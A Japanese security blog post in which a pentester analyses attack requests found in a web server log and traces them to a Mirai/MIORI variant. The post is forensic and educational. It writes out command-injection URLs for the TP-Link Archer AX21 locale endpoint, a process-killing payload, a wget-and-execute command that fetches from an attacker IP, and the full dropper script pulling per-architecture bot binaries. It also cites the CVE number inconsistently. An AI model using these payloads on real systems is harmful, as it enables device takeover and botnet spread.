こんにちわ。株式会社フォアーゼットにてペンテスターをしている蔀です。
最近はあまりLinuxに触れていなかったので、わくわくしながら記事を書きます。
最初はWhoisとかだけして終わると思っていました。調査進めながら書いていたら、マルウエアが出てきたりしたので、非常に濃い内容となっております。くれぐれもコマンドが分からない状態で真似をしないようにお願いいたします。
また、自己責任で記事での技術検証を行う際は、仮想環境やそれに類するものを使うように留意してください。筆者および弊社はこの記事の技術検証により生じた損害等について一切の責任を負わないものとします。
うっかりコピペでコマンドが動作しないように、テキストにて記述したIPアドレスの一部(0
→o
など)改変しております。
概要
自社のクラウドインスタンスでお試し稼働しているWEBアプリに特徴的なログが残っておりました。
これからセキュリティに取り組むエンジニアさんやフォレンジックに興味がある方に見ていただければ嬉しいと思います。
ログを見る
45.148.1o.174 - - [24/Jun/2024 23:28:37] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/[0-9]*;+do+pid%3D${proc_dir%23%23*/};+buffer%3D$(cat+"/proc/$pid/maps");+if+[+"${%23buffer}"+-gt+1+];+then+if+[+"${buffer%23*"/lib/"}"+%3D+"$buffer"+]+%26%26+[+"${buffer%23*"telnetdbot"}"+%3D+"$buffer"+];+then+kill+-9+"$pid";+fi;+fi;+done`) HTTP/1.1" 404 -
45.148.1o.174 - - [24/Jun/2024 23:28:38] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`cd+/tmp;+rm+-rf+shk;+wget+http://45.148.10.78/shk;+chmod+777+shk;+./shk+tplink;+rm+-rf+shk`) HTTP/1.1" 404 -
全部が見えなくてかわいそうなので
HTTPサーバーのアクセスログフォーマット
アクセスログのフォーマットについておさらいです。
(カスタマイズが可能なので、一概には言えませんが)利用していたpythonのhttp.serverで構築したHTTPサーバーでは以下のようなログフォーマットを採用していました。
以下は例です。
127.0.0.1 - - [25/Jun/2024 12:34:56] "GET /index.html HTTP/1.1" 200 234
具体的には、以下のようなフォーマットになります。
送信元IP - - [日時] "HTTPメゾッド /アクセス先 HTTPバージョン" ステータスコード レスポンスボディのサイズ
要するに、以下の情報がログを見るうえで重要な重要となります。
- 送信元IPアドレス
- 送信したのが誰なのかが分かります。IPアドレスに紐づいた情報からBOTなのか、攻撃者なのかなどの情報までわかる場合があります。
- アクセス先
- GETリクエストの場合には、どんなリクエストを送ったかまでもわかります。
- ステータスコード
- リクエストが成功したのか、失敗したのかなど、サーバーが送られたデータをどのように処理したのかが分かります。
もう一度見る
以上を踏まえてもう一度ログを見てみましょう。
45.148.1o.174 - - [24/Jun/2024 23:28:37] "GET /cgi-bin/luci/;stok=/locale?
form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/
[0-9]*;+do+pid%3D${proc_dir%23%23*/};+buffer%3D$(cat+"/proc/$pid/maps");
+if+[+"${%23buffer}"+-gt+1+];+then+if+[+"${buffer%23*"/lib/"}"+%3D+"$buffer"+]
+%26%26++"${buffer%23*"telnetdbot"}"+%3D+"$buffer"+];
+then+kill+-9+"$pid";+fi;+fi;+done`) HTTP/1.1" 404 -
整理してやると以下のようになります。
内容 | 値 |
---|---|
送信元IPアドレス | 45.148.1o.174 |
アクセス先 | /cgi-bin/luci/;stok=/locale |
ステータスコード | 404 |
管理しているサーバーではcgiなど動いておらず、該当のディレクトリもありません。
よって、結論からすると、攻撃らしきリクエストを受けたが攻撃は成功しなかったということになります。
アドレス
果たして、誰がどのような目的でリクエストを送信したのか考察するためにアドレスに関してのリサーチを行います。
送信元IPアドレスの確認
送信元のIPアドレスは45.148.1o.174
でした。こちらについて調べてみましょう。
whois
IPアドレスが誰のものか調べるにはwhois
コマンドを利用します。
┌──(ayato㉿redTeam)-[~]
└─$ whois 45.148.1o.174
<中略>
inetnum: 45.148.10.0 - 45.148.10.255
org: ORG-PA1232-RIPE
mnt-domains: CYBR-DMZ
mnt-domains: CYBR-DMZ
netname: DMZHOST
descr:
country: AD
admin-c: ACRO26775-RIPE
tech-c: ACRO26775-RIPE
status: ASSIGNED PA
mnt-by: CYBR-DMZ
mnt-by: pptechnology
created: 2019-09-02T15:08:45Z
last-modified: 2023-12-15T16:03:28Z
source: RIPE
organisation: ORG-PA1232-RIPE
org-name: PPTECHNOLOGY LIMITED
country: GB
org-type: OTHER
address: 35 Firs Avenue, London, England, N11 3NE
abuse-c: ACRO26775-RIPE
mnt-ref: pptechnology
mnt-by: pptechnology
created: 2019-09-02T14:59:13Z
last-modified: 2022-12-01T17:22:22Z
source: RIPE # Filtered
<略>
以上のことからわかったのは、country: AD
つまり、アンドラからのリクエストです。
ただし、会社はイギリスのものなので、レンタルサーバーやVPNの類なのでしょうか。
遠い国からのリクエストですね。13,514kmも離れており、歩いたら2,934時間(4か月ほど)かかるそうです💦
shodan
もう少しIPアドレスについて調べてみます。
「Shodan」と呼ばれる、様々なサーバーのデータをオンラインで見えるサイトを利用します。
(場所がニュージーランドのアムステルダムになってるのはなぜかしら...?)
Ubuntuを利用したサーバーのようですね。
TAGのところが「SCANNER」になっているので、オンラインでスキャンを実行するBOTのようですね。
Virus Total
サーバーをスキャンするBOTということが判明したので、IPアドレスに関してもう少しC2サーバーやウイルスの情報を集めたところで情報を探してみましょう。
IPアドレスについて検索した結果「ボットネットの利用するIPアドレス」ような結果が見られました。
どうやら、ボットネットからもしくはボットネットの拡大用サーバーからのスキャンで間違いないようです。
リクエストの解析1
CyberChef
せっかく送信していただいたリクエストが見えにくいので、最初のリクエストを少し加工してみます。
これが
45.148.1o.174 - - [24/Jun/2024 23:28:37] "GET /cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`for+proc_dir+in+/proc/[0-9]*;+do+pid%3D${proc_dir%23%23*/};+buffer%3D$(cat+"/proc/$pid/maps");+if+[+"${%23buffer}"+-gt+1+];+then+if+[+"${buffer%23*"/lib/"}"+%3D+"$buffer"+]+%26%26+[+"${buffer%23*"telnetdbot"}"+%3D+"$buffer"+];+then+kill+-9+"$pid";+fi;+fi;+done`) HTTP/1.1" 404 -
こう。
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id>`for proc_dir in /proc/[0-9]*; do pid=${proc_dir##*/}; buffer=$(cat "/proc/$pid/maps"); if [ "${#buffer}" -gt 1 ]; then if [ "${buffer#*"/lib/"}" = "$buffer" ] && [ "${buffer#*"telnetdbot"}" = "$buffer" ]; then kill -9 "$pid"; fi; fi; done`)
リクエストの部分だけ抽出しましたが、非常に見えやすくなりましたね。
どうやら、/cgi-bin/luci/;stok=/locale
というパスを持つ製品のcountry
パラメータには一定条件下で発動するOSコマンドインジェクションの脆弱性があるようです。
少しググってみたらこのようなPoCを発見しました。
以下抜粋(一部改変):
"https://" + IP + "/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(" + CMD + ")"
まったく同じようなペイロードです。
CVE-2023-1289が割り当てられた、TP-LinkのArcher AX21 WiFiという製品の脆弱性らしいです。
SHELL
上記でCyberChefにかけた部分で、コマンドを実行している箇所がありました。
では、攻撃者はどのようなコマンドを実行したのでしょうか。$()
で囲われた部分がコマンドの実行部分なので、そこを読みやすくします。
id>`for proc_dir in /proc/[0-9]*; do pid=${proc_dir##*/}; buffer=$(cat "/proc/$pid/maps"); if [ "${#buffer}" -gt 1 ]; then if [ "${buffer#*"/lib/"}" = "$buffer" ] && [ "${buffer#*"telnetdbot"}" = "$buffer" ]; then kill -9 "$pid"; fi; fi; done`
#!/bin/bash
# すべてのプロセスに対して実行
for proc_dir in /proc/[0-9]*; do
# ターゲットとなるPIDを指定
pid=${proc_dir##*/}
# プロセスのメモリーのマップ情報を変数に格納
buffer=$(cat "/proc/$pid/maps")
# マップが存在する場合、
if [ "${#buffer}" -gt 1 ]; then
# buffer内に/lib/が含まれていないかつtelnetdbotが含まれていないプロセスの場合、
if [ "${buffer#*"/lib/"}" = "$buffer" ] && \
[ "${buffer#*"telnetdbot"}" = "$buffer" ]; then
# プロセスを終了する
kill -9 "$pid"
fi
fi
done
つまり、「システムの重要なファイルとtelnetdbot以外はキルしてしまう」というコマンドでした。
実行が成功しなかったからよかったものの、非常に悪意のあるコマンドですね。
ちなみに、最初にid>
のようにパイプしている理由としては定かではありませんが、以下のような理由が考えられます。
- サイドエフェクト回避:
id>
によって実行されたコマンドの出力により、出力が標準出力や標準エラー出力に表示されるのを防いでいる? - タイミング調整:
id
コマンドの出力をリダイレクトすることで、シェルが一連のコマンドを実行するタイミングを調整する目的がある?
リクエストの解析2
こちらも順番に見ていきます。
CyberChef
今回はそこまで複雑でないように見えます。
SHELL
実行しようとしたコマンドを読みやすくします。
#!/bin/bash
cd /tmp
rm -rf shk
wget http://45.148.1o.78/shk
chmod 777 shk
./shk tplink
rm -rf shk
重複するものがないように一度shk
というファイルを削除後、45.148.10.78
からshk
というファイルを取得しようとしています。その後、実行(というかすべての)権限を付与し、tpkink
という引数で実行したのちにshk
を削除します。
SHKとは。
SHKのスクリプトが気になったので、実際にWgetしてみました。
┌──(ayato㉿redTeam)-[~]
└─$ wget http://45.148.1o.78/shk
--2024-06-25 02:09:06-- http://45.148.1o.78/shk
Connecting to 45.148.10.78:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 448
Saving to: ‘shk’
shk 100%[=================================================>] 448 --.-KB/s in 0s
2024-06-25 02:09:07 (46.5 MB/s) - ‘shk’ saved [448/448]
意外とあっさり。
binarys="mips mpsl x86 arm arm5 arm6 arm7 sh4 ppc arc"
server_ip="45.148.1o.78"
binout="telnetdbot"
exec="your device just got infected to a bootnoot"
for arch in $binarys
do
rm -rf $arch
rm -rf $binout
cd /tmp || cd /var || cd /dev; wget http://$server_ip/$arch -O $binout || curl -O $binout http://$server_ip/$arch || tftp -g -l $binout -r $arch $server_ip
chmod 777 $binout
status=`./$binout $1`
if [ "$status" = "$exec" ]; then
break
fi
done
どうやら怪しげなファイルを持ってくるシェルスクリプトのようです。
上記のスクリプトを読むと、45.148.1o.78
にバイナリ形式を指定するとそのままダウンロードできるっぽいです。
wget http://45.148.1o.78/x86
実行ファイルを確認すると、Miraiの亜種であることが確認できます。
マルウエア解析
私はその手の専門家ではないですができるところまでやってみます。
とりあえずGhidraの関数グラフで見てみました。
でかいですね。膨大な量のプログラムであることが分かります。
僕の手に負えないことに気が付いたので、初歩的な解析方法を試みます。
Strings
stringsコマンドはファイル中の文字列を抽出できるコマンドです。
strings x86
何やらHTTPの通信をするような文字列が見えました。
ANY.RUN
なんでもマルウェアなどをサンドボックス上で動かせるサイトがあります。
こちらで実際に動かした結果、以下のような特徴的なプロセスが実行されました。
localhost:37464
が152.89.244.142:33335
とTCPのやり取りを始めたようです。
MIORI
先ほどのANY.RUNの結果に「MIORI
が検知された」のような記述があります。
これはいったい何なのでしょうか。
MiraiのようなIoTを対象としたマルウェアとのことです。
詳しく調べてみます。MIORIという文字列が通信の中で見つかりました。
しかしながら、C2となっている場所に通信を送っても何も帰ってきません。
MIORIの特徴として、「C2の待ち受けポートと管理コンソールのポートが同一」という点が挙げられるのですが、こちらは亜種のようでした。
まとめ
以上のことから、サーバーに来たリクエストはCVE-2023-1389を悪用した、Miraiの亜種のMIORIの亜種を感染させるための攻撃ということが分かりました。
久しぶりにLinuxやSHELLスクリプトを窘めてとても楽しかったです。
1年前の攻撃手法が現在にも使われているということは、アップデートがいまだに済んでいないエンドユーザーが多いということが分かります。エンドユーザーは定期的なアップデートを意識しなければいけないですね。また、企業のセキュリティは万全かどうかをチェックするために定期的な脆弱性診断を実施することをお勧めいたします。